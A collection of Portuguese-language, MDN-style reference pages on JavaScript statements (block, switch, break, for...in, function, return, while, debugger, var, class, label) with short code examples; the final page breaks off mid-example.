{"title":"block - JavaScript","text":"block\n=====\n\nUma **declaração em bloco** (ou **declaração composta (compound)** em outras linguagens) é usado para agrupar nenhum ou mais declarações. O bloco é delimitado por um par de chaves e pode opcionalmente ser `nomeado`:\n\nSintaxe\n-------\n\n### Declaração de Bloco\n```\n\n{\n  ListaDeDeclarações\n}\n```\n\n### Declaração de Bloco Nomeada\n```\n\nNomeIdentificador: {\n  ListaDeDeclarações\n}\n```\n\n\n`ListaDeDeclarações`\n\nDeclarações agroupadas com a declaração em bloco.\n\n`NomeIdentificador`\n\nUm `nome (label)` opcional para identificação visual ou um alvo para `break`.\n\nDescrição\n---------\n\nA declaração em bloco é frequentemente chamada de **declaração composta (compound)** em outras linguagens. Ela permite que você use multiplas declarações onde o JavaScript espera apenas uma declaração. Combinar declarações em blocos são uma prática comum em JavaScript. O comportamento oposto é possível usando uma declaração vazia, onde você fornece nenhuma declaração, mesmo que uma seja requerida.\n\n### Regras de Bloqueio de Escopo\n\n#### Com `var`\n\nVariáveis declaradas com `var` **não** possuem bloqueio de escopo. Variáveis introduzidas com um bloco são guardadas no escopo da função que elas estão ou script, e os efeitos de configura-las persistem pelo próprio bloco. Em outras palavras, declarações em bloco não introduzem um escopo. Mesmo blocos \"standalone\" são sintaxes válidas, você não vai querer usar blocos standalone em JavaScript, porque não fazem o que você pensa que eles fazem, se você pensa que eles fazer coisas como blocos em C ou Java. Por exemplo:\n\n\n```js\nvar x = 1;\n{\n  var x = 2;\n}\nconsole.log(x); // imprime 2\n```\n\n\nIsso loga 2 porque a declaração `var x` com o bloco está no mesmo escopo que a declaração `var x` antes do bloco. No C ou Java, o código equivalente iria imprimir 1.\n\n#### Com `let` e `const`\n\nPor contraste, variáveis declaradas com `let` e `const` **tem** escopo bloqueado:\n\n\n```js\nlet x = 1;\n{\n  let x = 2;\n}\nconsole.log(x); // imprime 1 1\n```\n\n\n`O x = 2` é limitado ao escopo do bloco em que ele foi definido.\n\nO mesmo true de `const`:\n\n\n```js\nconst c = 1;\n{\n  const c = 2;\n}\nconsole.log(c); // imprime 1 e não invoca uma throw SyntaxError...\n```\n\n\nNote que o escope bloqueado de `const c = 2` *não invoca uma* `SyntaxError: Identifier 'c' has already been declared` porque ele foi unicamente declarado no bloco.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-block |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `while`\n* `if...else`\n* `let`"}
{"title":"switch - JavaScript","text":"switch\n======\n\nA condicional **switch** avalia uma expressão, combinando o valor da expressão para um cláusula **case**, e executa as instruções associadas ao **case**.Experimente\n-----------\n\nSintaxe\n-------\n```\n\nswitch (expressão) {\n  case valor1:\n    //Instruções executadas quando o resultado da expressão for igual á valor1\n    [break;]\n  case valor2:\n    //Instruções executadas quando o resultado da expressão for igual á valor2\n    [break;]\n  ...\n  case valueN:\n    //Instruções executadas quando o resultado da expressão for igual á valorN\n    [break;]\n  default:\n    //Instruções executadas quando o valor da expressão é diferente de todos os cases\n    [break;]\n}\n```\n\n\n`expressão`\n\nUma expressão que será comparada á cada cláusula **case**.\n\n`case expressão`\n\nUma cláusula **case** que será comparada á expressão.\n\nDescrição\n---------\n\nSe a condição for correspondida, o programa executa as instruções asssociadas. Se múltiplos casos corresponderem o valor, o primeiro caso que corresponder é selecionado, mesmo se os casos não forem iguais entre si.\n\nO programa primeiro procura por um caso o qual a expressão avalie como tendo o mesmo valor que o input da expressão (usando a comparação de igualdade estrita (en-US), `===`) transferindo assim o controle para a cláusula encontrada e em seguida executando as instruções associadas. Caso nenhum caso seja correspondido, então o programa procura pela cláusula opcional `default`, que, se encontrado, tem o controle transferido a ele, executando suas instruções associadas. Se não houver uma cláusula `default`, o programa continua a execução da instrução seguindo para o final do `switch`. Por convenção, a cláusula default é a última, mas não é algo obrigatório.\n\nA instrução opcional `break` associada com cada `case` garante que o programa saia da condicional `switch` assim que a instrução correspondente for executada e executa a instrução que segue logo após o switch. Caso `break` seja omitido, o programa continua a execução para a próxima instrução dentro de `switch`.\n\nExemplos\n--------\n\n### Exemplo: Usando `switch`\n\nNo exemplo a seguir, if `expr` é avaliado como \"Bananas\", o programa corresponde o valor com o `case` \"Bananas\" e executa a instrução associada. Quando `break` for encontrado, o programa para (break), saindo de `switch` e executa a instrução localizada após o `switch`. Se `break` fosse omitido, a instrução para \"Cherries\" também seria executada.\n\n\n```js\nswitch (expr) {\n  case \"Laranjas\":\n    console.log(\"As laranjas custam $0.59 o quilo.\");\n    break;\n  case \"Maçãs\":\n    console.log(\"Maçãs custam $0.32 o quilo.\");\n    break;\n  case \"Bananas\":\n    console.log(\"Bananas custam $0.48 o quilo.\");\n    break;\n  case \"Cerejas\":\n    console.log(\"Cerejas custam $3.00 o quilo.\");\n    break;\n  case \"Mangas\":\n  case \"Mamões\":\n    console.log(\"Mangas e mamões custam $2.79 o quilo.\");\n    break;\n  default:\n    console.log(\"Desculpe, estamos sem nenhuma \" + expr + \".\");\n}\n\nconsole.log(\"Tem algo mais que você gostaria de levar?\");\n```\n\n### Exemplo: O que acontece se eu esquecer um break?\n\nSe você esquecer um break então o script irá rodar a partir do caso onde o critério foi correspondido e irá rodar também o caso seguinte independentemente do critério ter sido correspondido ou não:\n\n\n```js\nvar foo = 0;\nswitch (foo) {\n  case -1:\n    console.log(\"1 negativo\");\n    break;\n  case 0: // foo é 0 então aqui o critério foi correspondido, então esse bloco vai rodar\n    console.log(0);\n  // NOTA: o break esquecido deveria estar aqui\n  case 1: // nenhuma instrução break em 'case 0:' então essa instrução vai rodar também\n    console.log(1);\n    break; // o programa encontra esse break então não vai continuar para o 'case 2:'\n  case 2:\n    console.log(2);\n    break;\n  default:\n    console.log(\"default\");\n}\n```\n\n### Exemplo: Métodos para múltiplos casos\n\nReferência para esta técnica abaixo:\n\n- Switch statement multiple cases in JavaScript (Stack Overflow)\n\n#### Multi-Caso - Operação Simples\n\nEsse método toma vantagem do fato de não existir um break após um case e irá continuara executar o próximo case independentemente se o case corresponde ao critério. Veja o título desta seção \"O que acontece se eu esquecer um break?\"\n\nEsse é um exemplo de uma operação sequencial simples com a instrução switch, onde quatro valores diferentes fazem a mesma coisa..\n\n\n```js\nvar Animal = \"Girafa\";\nswitch (Animal) {\n  case \"Vaca\":\n  case \"Girafa\":\n  case \"Cachorro\":\n  case \"Porco\":\n    alert(\"Esse animal irá para Arca de Noé\");\n    break;\n  case \"Dinossauro\":\n  default:\n    alert(\"Esse animal não vai.\");\n}\n```\n\n\n#### Multi-Caso - Operações encadeadas\n\nEsse é um exemplo de múltiplas operações squenciais usando a instrução `switch`, onde, dependendo do número inteiro, você poderá receber outputs diferentes. Isso mostra que você pode alterar a ordem que você insere as instruções de `case`, e isso não precisa ser uma sequência numérica. Em JavaScript, você pode até mesmo misturar definições de strings dentro desses `cases`.\n\nThis is an example of a multiple-operation sequential switch statement, where, depending on the provided integer, you can receive different output. This shows you that it wil traverse in the order that you put the case statements, and it does not have to be numerically sequential. In JavaScript, you can even mix in definitions of strings into these case statements as well.\n\n\n```js\nvar foo = 1;\nvar output = \"Output: \";\nswitch (foo) {\n  case 10:\n    output += \"Então \";\n  case 1:\n    output += \"Qual \";\n    output += \"É \";\n  case 2:\n    output += \"O Seu \";\n  case 3:\n    output += \"Nome\";\n  case 4:\n    output += \"?\";\n    alert(output);\n    break;\n  case 5:\n    output += \"!\";\n    alert(output);\n    break;\n  default:\n    alert(\"Favor escolher um número de 0 à 6!\");\n}\n```\n\n\nOutput para esse exemplo:\n\n| Value | Alert Text |\n| --- | --- |\n| foo é NaN ou não é 1, 2, 3, 4, 5 ou 10 | Favor escolher um número de 0 à 6! |\n| 10 | Output: Então Qual É O Seu Nome? |\n| 1 | Output: Qual É O Seu Nome? |\n| 2 | Output: Seu Nome? |\n| 3 | Output: Nome? |\n| 4 | Output: ? |\n| 5 | Output: ! |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-switch-statement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `if...else`"}
{"title":"break - JavaScript","text":"break\n=====\n\nSumário\n-------\n\nO comando **break** encerra o loop atual, `switch`, ou o loop que foi informado no `label` e transfere o controle da execução do programa para o comando seguinte.\n\nSíntaxe\n-------\n```\n\nbreak [label];\n```\n\n\n`label`\n\nOpcional. Identificador associado ao label de um comando. Se a estrutura não for um loop ou `switch`, ele será um pré-requisito.\n\nDescrição\n---------\n\nO comando `break` inclui um label opcional que permite ao programa encerrar a execução da estrutura que possui o nome informado na label. O comando `break` deve estar dentro dessa estrutura informada no label. A estrutura que possui o nome informada na label pode ser qualquer comando `block`; não é necessário que seja precedida por um loop.\n\nExemplos\n--------\n\nA função a seguir possui um comando `break` que encerra o loop `while` quando a variável i vale 3, e então retorna o valor 3 \\* `x`.\n\n\n```js\nfunction testaBreak(x) {\n  var i = 0;\n\n  while (i < 6) {\n    if (i == 3) {\n      break;\n    }\n    i += 1;\n  }\n  return i \\* x;\n}\n```\n\n\nO código a seguir possui o comando break dentro de uma estrutura nomeada. O comando `break` deverá estar dentro da estrutura na qual o label se refere. Veja que `inner_block` está dentro de `outer_block`.\n\n\n```js\nbloco\\_externo: {\n  bloco\\_interno: {\n    console.log(\"1\");\n    break bloco_externo; // encerra bloco\\_interno e bloco\\_externok\n    console.log(\":-(\"); // não é executado\n  }\n\n  console.log(\"2\"); // não é executado\n}\n```\n\n\nO código a seguir também utiliza o comando break com blocos nomeados mas gera um erro de sintaxe pois o comando break está dentro do bloco\\_1 mas faz uma referência ao bloco\\_2. Um comando break sempre deverá estar dentro da estrutura nomeada na qual fizer referência.\n\n\n```js\nbloco\\_1:{\n  console.log ('1');\n  break bloco_2;            // SyntaxError: label not found\n}\n\nbloco\\_2:{\n  console.log ('2');\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-break-statement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `continue`\n* `label`\n* `switch`"}
{"title":"for...in - JavaScript","text":"for...in\n========\n\nO laço **`for...in`** interage sobre propriedades enumeradas de um objeto, na ordem original de inserção. O laço pode ser executado para cada propriedade distinta do objeto.\n\nSyntax\n------\n```\n\nfor (variavel in objeto) {...\n}\n```\n\n\n`variavel`\n\nUma propriedade diferente do objeto é atribuida em cada iteração.\n\n`objeto`\n\nObjeto com as propriedades enumeradas.\n\nDescrição\n---------\n\nO laço for...in somente iterage sobre propriedades enumeradas. Objetos criados a partir de construtores built-in (arrays e object) herdam propriedades não enumeradas de object.prototype e String.prototype, assim como método `String`'s `indexOf()` ou `Object`'s `toString()`. O laço irá iterar sobre todas as propriedades enumeráveis do próprio objeto e somente aquelas enumeráveis herdadas de construtores de objetos prototype.\n\n### Propriedades deletadas, adicionadas ou modificadas\n\nO laço `for...in` iterage sobre as propriedades de um objeto em uma ordem arbitrária (veja o `delete` (en-US) ). Se uma propriedade é deletada durante a execução do loop, ela se torna indisponível para ser acessada depois. É recomendável não adicionar, remover ou alterar propriedades novas ao objeto durante a execução do laço (durante o loop)\n\n### Iteração em Arrays e `for...in`\n\n**Nota:** `for...in` não deve ser usado para iteração em uma `Array` onde a ordem é importante, visto que ele iterage em uma ordem arbitrária.\n\nIndices de arrays somente se tornam propriedades enumeradas com inteiros (integer). Não há garantia de que utilizando o laço for...in os indices de um array serão retornados em uma ordem particular ou irá retornar todas as propriedades enumeráveis. É recomendável utilizar o laço `for` com índices numéricos ou `Array.prototype.forEach()` ou ainda `for...of` quando iteragir sobre arrays onde a ordem é importante.\n\n### Iteração apenas sobre suas próprias propriedades\n\nSe você quer considerar somente as propriedades do próprio objeto e não as herdadas via prototype, use `getOwnPropertyNames()` ou execute `hasOwnProperty()` ou (`propertyIsEnumerable`\n\nExemplos\n--------\n\nA função seguinte toma como argumento um objeto. O laço for...in iterage sobre todos as propriedades enumeráveis do objeto e retorna uma string com o nome das propriedades e seus respectivos valores.\n\n\n```js\n//Objeto\nvar obj = { a: 1, b: 2, c: 3 };\n\n//Para prop (propriedade) in obj (objeto) faça\nfor (var prop in obj) {\n  // ctrl+shift+k (para abrir o console no mozilla firefox)\n  console.log(\"obj.\" + prop + \" = \" + obj[prop]);\n}\n\n//A saída (output) deverá ser:\n// \"obj.a = 1\"\n// \"obj.b = 2\"\n// \"obj.c = 3\"\n```\n\n\nA função seguinte ilustra o uso de `hasOwnProperty()`: as propriedades herdadas não são exibidas.\n\n\n```js\nvar triangle = { a: 1, b: 2, c: 3 };\n\nfunction ColoredTriangle() {\n  this.color = \"red\";\n}\n\nColoredTriangle.prototype = triangle;\n\nvar obj = new ColoredTriangle();\n\nfor (var prop in obj) {\n  if (obj.hasOwnProperty(prop)) {\n    console.log(\"obj.\" + prop + \" = \" + obj[prop]);\n  }\n}\n\n// Output:\n// \"obj.color = red\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-for-in-and-for-of-statements |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nCompatibilidade: Initializer expressions\n----------------------------------------\n\nAnterior ao SpiderMonkey 40, era possível usar uma expressão inicial com o laço for...in, conforme exemplo que se segue:\n\n\n```js\nvar obj = {a:1, b:2, c:3};\nfor(var i=0 in obj) {\n  console.log(obj[i]);\n}\n// 1\n// 2\n// 3\n```\n\n\nEste não é o comportamento padrão e atualmente é ignorado a partir da versão 40 e posteriores e seu uso irá exibir o error `SyntaxError` (en-US) (\"for-in loop head declarations may not have initializers\"). Outras engines como a v8 (Chrome), Chakra (IE/Edge) e JSC (Webkit/Safari) estão estudando o que fazer com esse comportamento.\n\nVeja também\n-----------\n\n* `for...of` - laço similar que iterage sobre os valores das propriedades.\n* `for each in` - (deprecated).\n* `for`\n* Generator expressions (uses the `for...in` syntax)\n* Enumerability and ownership of properties\n* `Object.getOwnPropertyNames()`\n* `Object.prototype.hasOwnProperty()`\n* `Array.prototype.forEach()`"}
{"title":"Declaração de função - JavaScript","text":"Declaração de função\n====================\n\nA **declaração function** define uma função com os especificados parâmetros.\n\nVocê pode também definir funções usando o construtor `Function` e uma `function expression`.\n\nSintaxe\n-------\n```\n\nfunction name([param,[, param,[..., param]]]) {\n   [statements]\n}\n```\n\n\n`name`\n\nO nome da função.\n\n`param`\n\nO nome de um argumento a ser passado para a função. Uma função pode ter atè 255 argumentos.\n\n`statements`\n\nAs instruções que compõem o corpo da função.\n\nDescrição\n---------\n\nUma função criada com uma declaração function é um objeto `Function` e tem todas as propriedades, métodos e comportamentos dos objetos `Function`. Veja `Function` para informações detalhadas sobre as funções.\n\nUma função pode também ser criada usando uma expressão (veja `function expression`).\n\nPor padrão, funções retornam `undefined`. Para retornar qualquer outro valor, a função precisa ter uma instrução `return` que especifica o valor para retorno.\n\n### Criando funções condicionalmente\n\nFunções podem ser condicionalmente declaradas, isso é, uma instrução de função pode ser aninhada dentro de uma instrução `if`. A maioria dos navegadores que não sejam Mozilla ir tratar essas declarações condicionais como uma incondicional e criará a função se a condição for true ou não, veja esse artigo para uma visão geral. Portanto, ela não pode ser usada para criação de expressões de função condicional.\n\n### Declarações de funções hoisting\n\nDeclarações de funções em JavaScript são hoisted à definição da função. Você pode usar uma função antes de tê-la declarado:\n\n\n```js\nhoisted(); // logs \"foo\"\n\nfunction hoisted() {\n  console.log(\"foo\");\n}\n```\n\n\nNote que `function expressions` não são hoisted:\n\n\n```js\nnotHoisted(); // TypeError: notHoisted is not a function\n\nvar notHoisted = function () {\n  console.log(\"bar\");\n};\n```\n\nExemplos\n--------\n\n### Usando funções\n\nO seguinte código declara uma função que retorna a quantidade total das vendas, quando dados os números de unidades vendidas dos produtos a, b e c.\n\n\n```js\nfunction calc\\_sales(units\\_a, units\\_b, units\\_c) {\n  return units_a \\* 79 + units_b \\* 129 + units_c \\* 699;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-function-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Functions and function scope` (en-US)\n* `Function`\n* `function expression`\n* `function* statement`\n* `function* expression`\n* `Arrow functions`\n* `GeneratorFunction` (en-US)"}
{"title":"return - JavaScript","text":"return\n======\n\nA **declaração `return`** finaliza a execução de uma função e especifica os valores que devem ser retonados para onde a função foi chamada.\n\nSintaxe\n-------\n```\n\nreturn [[expression]];\n```\n\n\n`expression`\n\nA expressão cujo valor será retornado. Se omitido, `undefined` é retornado.\n\nDescrição\n---------\n\nQuando uma declaração `return` é usada em um corpo de função, a execução dessa função é parada. Se especificado, um dado valor é retornado à quem chamou a função. Se a expressão for omitida, `undefined` será retornado. Todas as declarações return a seguir param a execução da função:\n\n\n```js\nreturn;\nreturn true;\nreturn false;\nreturn x;\nreturn x + y / 3;\n```\n\n### Inserção Automática de Ponto-e-Vírgula\n\nA declaração `return` é afetada pela inserção automática de ponto e vírgula (ASI). Nenhum terminador de linha é permitido entre a palavra-chave `return` e a expressão.\n\n\n```js\nreturn\na + b;\n```\n\n\né transformado pelo ASI em:\n```\n\nreturn;\na + b;\n```\n\n\nO console irá alertar \"unreachable code after return statement\" (código inacessível após a declaração return).\n\n**Nota:** A partir do Gecko 40, um alerta é mostrado no console se um código inacessível é encontrado após uma declaração `return`.\n\nExemplos\n--------\n\n### return\n\nA função a seguir retorna o quadro do seu argumento, `x`, quando `x` é um número.\n\n\n```js\nfunction square(x) {\n  return x \\* x;\n}\n```\n\n### Interrompendo uma função\n\nUma função para imediatamente no ponto em que `return` é chamado.\n\n\n```js\nfunction counter() {\n  for (var count = 1; ; count++) {\n    // loop infinito\n    console.log(count + \"A\"); // até 5\n    if (count === 5) {\n      return;\n    }\n    console.log(count + \"B\"); // até 4\n  }\n  console.log(count + \"C\"); // nunca aparece\n}\n\ncounter();\n\n// Saída:\n// 1A\n// 1B\n// 2A\n// 2B\n// 3A\n// 3B\n// 4A\n// 4B\n// 5A\n```\n\n### Retornando uma função\n\nVeja também o artigo sobre Closures.\n\n\n```js\nfunction magic(x) {\n  return function calc(x) {\n    return x \\* 42;\n  };\n}\n\nvar answer = magic();\nanswer(1337); // 56154\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-return-statement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Funções (en-US)\n* Closures"}
{"title":"while - JavaScript","text":"while\n=====\n\nA **declaração while** cria um laço que executa uma rotina especifica enquanto a condição de teste for avaliada como verdadeira. A condição é avaliada antes da execução da rotina.\n\nSyntax\n------\n```\n\nwhile (condição) {\n  rotina\n}\n```\n\n\n`condição`\n\nUma expressão avaliada antes de cada passagem através do laço. Se essa condição for avaliada como verdadeira, a rotina é executada. Quando a condição for avaliada como falsa, a execução continua na declaração depois do laço `while`.\n\nrotina\n\nUma declaração que é executada enquanto a condição é avaliada como verdadeira. Para executar multiplas declarações dentro de um laço, use uma declaração em bloco (en-US) (`{ ... }`) para agrupar essas declarações.\n\nExemplos\n--------\n\nO seguinte laço `while` itera enquanto n é menor que três.\n\n\n```js\nvar n = 0;\nvar x = 0;\n\nwhile (n < 3) {\n  n++;\n  x += n;\n}\n```\n\n\nCada iteração, o laço incrementa n e soma à x. Portanto, x e n assumem os seguintes valores:\n\n* Depois da primeira passagem: n = 1 e x = 1\n* Depois da segunda passagem: n = 2 e x = 3\n* Depois da terceira passagem: n = 3 e x = 6\n\nDepois de completar a terceira passagem, a condição n < 3 não é mais verdadeira, então o laço termina.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-while-statement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `do...while`\n* `for`"}
{"title":"debugger - JavaScript","text":"debugger\n========\n\nA **declaração debug** invoca qualquer funcionalidade de depuração disponivel, como definir um breakpoint. Se nenhuma funcionalidade de depuração estiver disponivel, essa declaração não tem nenhum efeito.\n\nSintaxe\n-------\n```\n\ndebugger;\n```\n\nExemplos\n--------\n\nO exemplo a seguir mostra o código onde uma declaração debugger foi inserida para invocar um depurador (se um existir) quando a função for chamada.\n\n\n```js\nfunction codigoPotencialmenteBugado() {\n  debugger;\n  // faça atividades de depuração como examinar, pular um passo etc.\n}\n```\n\n\nQuando o depurador é invocado, a execução é parada na declaração debugger. É como um breakpoint no código-fonte.\n\n![Paused at a debugger statement.](/pt-BR/docs/Web/JavaScript/Reference/Statements/debugger/screen_shot_2014-02-07_at_9.14.35_am.png)\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-debugger-statement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Depurando JavaScript\n* O Depurador nas Ferramentas de Desenvolvedor do Firefox"}
{"title":"var - JavaScript","text":"var\n===\n\nSumário\n-------\n\nO **`variable` statement** declara uma variável, opcionalmente é possível atribuir à ela um valor em sua inicialização.\n\nSintaxe\n-------\n```\n\nvar varname1 [= value1 [, varname2 [, varname3 ... [, varnameN]]]];\n```\n\n\n`varnameN`\n\nNome da variável. Pode ser utilizado qualquer identificador legal.\n\n`valueN`\n\nValor inicial da variável. Pode ser qualquer expressão legal.\n\nDescrição\n---------\n\nDeclarações de variáveis, onde quer que elas ocorram, são processadas antes que qualquer outro código seja executado. O escopo de uma variável declarada com `var` é seu contexto atual em execução, o qual é a função a qual pertence ou, para variáveis declaradas fora de qualquer função, o escopo é o global.\n\nAtribuir um valor a uma variável não declarada anteriormente implica em criar uma variável global (ela se torna uma propriedade do objeto global) quando a atribuição é executada. As diferenças entre uma variável declarada e uma não delcarada são:\n\n1. Variáveis declaradas estão relacionadas com o contexto de execução quando elas são criadas (por exemplo, uma função, objeto). Por outro lado, as variaveis não declaradas sempre são globais.\n\n\n```js\nfunction x() {\n  y = 1; // Lança a exceção ReferenceError em modo restrito (strict mode)\n  var z = 2;\n}\n\nx();\n\nconsole.log(y); // logs \"1\"\nconsole.log(z); // Lança a exceção ReferenceError: z não foi definida fora da função x()\n```\n\n\n2. Variáveis declaradas são criadas antes de qualquer código ser executado. As variáveis não declaradas não existem até quando o código atribuir um valor a ela.\n\n\n```js\nconsole.log(a); // Lança a exceção ReferenceError.\nconsole.log(\"still going...\"); // Nunca será executado.\n```\n\n\n\n```js\nvar a;\nconsole.log(a); // mostra \"undefined\" ou \"\" dependendo do naveador.\nconsole.log(\"still going...\"); // mostra \"still going...\".\n```\n\n\n3. Variáveis declaradas são propriedades não configuráveis no contexto de execução (função ou global). Variaveis não declaradas são configuráveis (por exemplo, podem ser excluídas).\n\n\n```js\nvar a = 1;\nb = 2;\n\ndelete this.a; // Lança a exceção TypeError em modo restrito(strict mode). Caso contrário, Falha silenciosamente.\ndelete this.b;\n\nconsole.log(a, b); // Throws a ReferenceError.\n// A propriedade 'b' foi deletada e não existe mais.\n```\n\n\nPor conta dessas três diferenças, falha para declarar variáveis, muito provavelmente, levar a resultados inesperados. **Então, é recomendado sempre declarar as variáveis, independentemente se as variáveis estão em escopo de função ou escopo global**. E o modo restrito (strict mode (en-US)) do ECMAScript 5 sempre lançará uma exceçao quando o código atribuir um valor a uma variável não declarada.\n\n### var hoisting\n\nComo as declarações de variáveis (e declarações em geral) são processadas antes de qualquer código seja executado, declarar uma variável em qualquer lugar no código é equivalente a declarar no inicio. Isso também significa que uma variável pode aparecer para ser usada antes dela ser declarada. Esse comportamento é chamado de \"hoisting\", a variável é movida para o inicio da função ou do código global.\n\n\n```js\nbla = 2;\nvar bla;\n// ...\n\n// é implicitamente entendido como:\n\nvar bla;\nbla = 2;\n```\n\n\nPor essa razão, recomenda-se sempre declarar variáveis na parte superior do seu escopo de aplicação (o topo do código global e a parte superior do código da função). Por isso, é claro que as variáveis são função de escopo (local) e que são resolvidos na cadeia de escopo.\n\nExemplos\n--------\n\n### Declarando e inicializando duas variáveis\n\n\n```js\nvar a = 0,\n  b = 0;\n```\n\n### Atribuindo duas variáveis com uma única expressão\n\n\n```js\nvar a = \"A\";\nvar b = a;\n\n// Equivalente a:\n\nvar a,\n  b = (a = \"A\");\n```\n\n\nÉ sempre importante lembrar da ordem da declaração das variáveis:\n\n\n```js\nvar x = y,\n  y = \"A\";\nconsole.log(x + y); // undefinedA\n```\n\n\nEntão, x e y são declarados antes de qualquer código seja executado, a atribuição ocorre posteriormente. Quando \"x = y\" for executado, y existe e nenhum exceção ReferenceError é lançada, e o valor de y será considerado como '`undefined`'. Por este motivo, este valor é atribuido a x. Depois disso, o valor 'A' é atribuido a variável y. Consequentemente, depois da primeira linha, x === undefined && y === 'A', então o resultado.\n\n### Iniciando diversas variáveis\n\n\n```js\nvar x = 0;\n\nfunction f() {\n  var x = (y = 1); // x é declarado localmente,y não é!\n}\nf();\n\nconsole.log(x, y); // 0, 1\n// x é uma variável global como experado\n// y vazou para fora da função!\n```\n\n### Variável global implícita e fora do escopo da função\n\nVariáveis que aparecem como variáveis globais implicitas podem ser referenciadas como variáveis fora do escopo da função:\n\n\n```js\nvar x = 0; // x é declarada como global e é igual a 0\n\nconsole.log(typeof z); // undefined, desde que z não tenha sido criada anteriormente\n\nfunction a() {\n  // quando a for chamada,\n  var y = 2; // y é declarada como local desta função, e o valor 2 é atribuido\n\n  console.log(x, y); // 0 2\n\n  function b() {\n    // quando b for chamado,\n    x = 3; // atribui o valor 3 a variável global existente, ele não cria uma nova variável global\n    y = 4; // atribui o valor 4 a uma variável fora, ele não cria uma nova variável\n    z = 5; // cria uma nova variável global e atribui o valor 5.\n  } // (Lança a exceção ReferenceError em modo restrito.)\n\n  b(); // chamando b, o código irá criar z como variável global\n  console.log(x, y, z); // 3 4 5\n}\n\na(); // chamando a, também irá chamar b\nconsole.log(x, z); // 3 5\nconsole.log(typeof y); // indefinido já que y é uma variável local da função a\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-variable-statement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `let`\n* `const`\n* How One Missing `var` Ruined our Launch"}
{"title":"class - JavaScript","text":"class\n=====\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since March 2017.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA **declaração class** cria uma nova classe com dado **nome** usando a herança do protótipo base.\nVocê também pode definir uma classe usando class expression.\n\nSintaxe\n-------\n\n\n```js\nclass name [extends] {\n  // class body\n}\n```\n\nDescrição\n---------\n\nAssim como as expressões de classe, o corpo de uma declaração de classe é executado em strict mode.\n\nDeclarações de classe não são hoisted (ao contrário de function declarations).\n\nExemplos\n--------\n\n### Declaração simples de classe\n\nNo exemplo a seguir, primeiro definimos uma classe chamada *Polygon*, então extendemos essa classe para criar uma classe chamada *Square*. Note que *super()*, usada no construtor, só pode ser usada em construtores e deve ser chamada antes da chave *this* ser usada.\n\n\n```js\nclass Poligono {\n  constructor(altura, largura) {\n    this.nome = \"Polígono\";\n    this.altura = altura;\n    this.largura = largura;\n  }\n}\n\nclass Quadrado extends Poligono {\n  constructor(altura) {\n    super(altura, altura);\n    this.nome = \"Quadrado\";\n  }\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-class-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `function` declaration\n* `class` expression\n* Classes"}
{"title":"label (Etiqueta) - JavaScript","text":"label (Etiqueta)\n================\n\nProvém uma declaração com um indentificador o qual pode ser referido posteriormente utilizando-se os comandos *break* ou *continue*.\n\nPor exemplo, você pode usar um *label* para identificar um laço e então com um comando de *break* ou *continue* indicar se este deve ser interrompido ou então continuar sua execução.\n\nSintaxe\n-------\n```\n\nlabel :\n   declaração\n```\n\n### Parâmetros\n\n`label`\n\nQualquer idenfiticador JavaScript válido que não é uma palavra reservada.\n\n`declaração`\n\nUma declaração qualquer. *break* pode ser utilizado com qualquer declaração entiquetada (com *label*) , assim como o *continue* também pode.\n\n\n**Aviso:** ### Evite usar labelsLabels não são comunmente utilizados em JavaScript já que estes fazem com que programas fiquei mais difíceis de ler e entender. Sempre que possível evite utilizar labels e, dependendo dos casos, prefira chamar funções (en-US) ou lançar um erro (en-US).\n\nExemplos\n--------\n\n### `Exemplo com continue`\n\n\n```js\nvar i, j;\n\nloop1: for (i = 0; i < 3; i++) {\n  //O primeiro 'for' é etiquetado com \"loop1\"\n  loop2: for (j = 0; j < 3; j++) {\n    //O segundo é etiquetado com \"loop2\"\n    if (i == 1 && j == 1) {\n      continue loop1;\n    } else {\n      console.log(\"i = \" + i + \", j = \" + j);\n    }\n  }\n}\n\n// Sua saída é:\n// \"i = 0, j = 0\"\n// \"i = 0, j = 1\"\n// \"i = 0, j = 2\"\n// \"i = 1, j = 0\"\n// \"i = 2, j = 0\"\n// \"i = 2, j = 1\"\n// \"i = 2, j = 2\"\n// Note como pula-se 